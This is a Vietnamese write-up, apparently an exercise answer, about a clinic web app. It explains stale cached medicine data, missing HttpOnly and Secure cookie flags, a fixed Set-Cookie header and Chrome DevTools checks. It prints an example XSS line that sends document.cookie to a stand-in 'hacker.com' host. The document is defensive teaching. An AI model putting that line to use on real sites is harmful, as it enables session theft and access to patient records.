B4

Phần 1: Phân tích lỗ hổng & Nguyên nhân

1. Nguyên nhân hiển thị dữ liệu thuốc cũ (Browser Cache):

- **Cơ chế hoạt động:** Trình duyệt của bác sĩ đang lấy lại bản sao cũ của tệp `medicine_catalog.css` và `pricing_data.json` trực tiếp từ bộ nhớ cục bộ máy trạm, thể hiện qua cột Size báo **`(from disk cache)`** hoặc **`(from memory cache)`**.
- **Bản chất:** Trình duyệt không hề gửi HTTP Request về Server để lấy dữ liệu mới vì nhận diện các tệp tĩnh này vẫn còn hạn lưu kho (TTL) do cấu hình Cache-Control trước đó quy định. Do đó, các thay đổi cập nhật từ tối qua trên Server hoàn toàn bị bỏ qua.

2. Hiểm họa bảo mật & Tấn công Session Hijacking:

- **Câu lệnh đánh cắp:** Do thiếu cờ `HttpOnly`, hacker có thể dùng mã độc JavaScript (XSS) để đọc và chiếm đoạt chuỗi Token qua câu lệnh:

javascript

```
alert(document.cookie); // Hoặc gửi thẳng về server của hacker:
fetch('https://hacker.com' + document.cookie)
```

Hãy thận trọng khi sử dụng mã.

- **Hiểm họa Session Hijacking:**
  - **Thiếu `HttpOnly`:** Mã độc JS chiếm trọn quyền kiểm soát Session Token. Hacker chỉ cần sao chép Token này sang trình duyệt khác là có thể giả mạo danh tính của bác sĩ mà không cần biết mật khẩu.
  - **Thiếu `Secure`:** Token bị gửi qua giao thức HTTP không mã hóa. Nếu bác sĩ dùng Wi-Fi công cộng hoặc mạng nội bộ phòng khám bị nghe lén (Man-in-the-Middle), hacker dễ dàng bắt trọn gói tin thô chứa Token.
  - **Hậu quả y tế:** Hacker chiếm quyền tài khoản bác sĩ để xem trộm, sửa đổi trái phép hồ sơ bệnh án hoặc kê đơn thuốc giả, vi phạm nghiêm trọng quy định an toàn thông tin của Bộ Y tế.

Phần 2: Hoàn thiện giải pháp & Thao tác DevTools

3. Hướng dẫn bác sĩ làm mới cưỡng bức (Hard Reload):

Bác sĩ không cần xóa lịch sử duyệt web, chỉ cần nhấn tổ hợp phím sau để ép trình duyệt xóa cache tạm thời của trang và tải lại dữ liệu mới nhất:

- **Windows / Linux:** Nhấn **`Ctrl` + `F5`** hoặc **`Ctrl` + `Shift` + `R`**
- **Mac chính hãng:** Nhấn **`Cmd` + `Shift` + `R`**

4. Dòng lệnh phản hồi Set-Cookie chuẩn an ninh y tế:

http
```
Set-Cookie: carepulse_doctor_session=TOKEN_XYZ883921983; Domain=carepulse.vn;
Path=/; Expires=Wed, 21 Oct 2026 07:00:00 GMT; Secure; HttpOnly; SameSite=Strict
```

Hãy thận trọng khi sử dụng mã.

*(Bổ sung **`Secure`** để ép truyền qua HTTPS, **`HttpOnly`** để chặn JavaScript độc hại tiếp cận, và đổi sang **`SameSite=Strict`** để chống tấn công giả mạo yêu cầu chéo CSRF).*

5. 3 bước thao tác gỡ lỗi trên Chrome DevTools (F12):

- **Bước 1: Mở trình gỡ lỗi:** Nhấn **`F12`** (hoặc chuột phải chọn *Inspect / Kiểm tra*).
- **Bước 2: Kiểm tra cờ Cookie (Tab Application):** Chọn tab **`Application`** ➔ Tại menu bên trái, mở mục **`Cookies`** ➔ Chọn tên miền https://carepulse.vn. Hãy tích mắt kiểm tra hai cột **`HttpOnly`** và **`Secure`** xem đã có dấu tích xanh xác nhận bảo mật hay chưa.
- **Bước 3: Vô hiệu hóa Cache tạm thời (Tab Network):** Chuyển sang tab **`Network`** ➔ Tích chọn ô **`Disable cache`** ở thanh công cụ phía trên. *(Lưu ý: Cache sẽ bị chặn nạp hoàn toàn chỉ khi bảng F12 này còn đang mở).*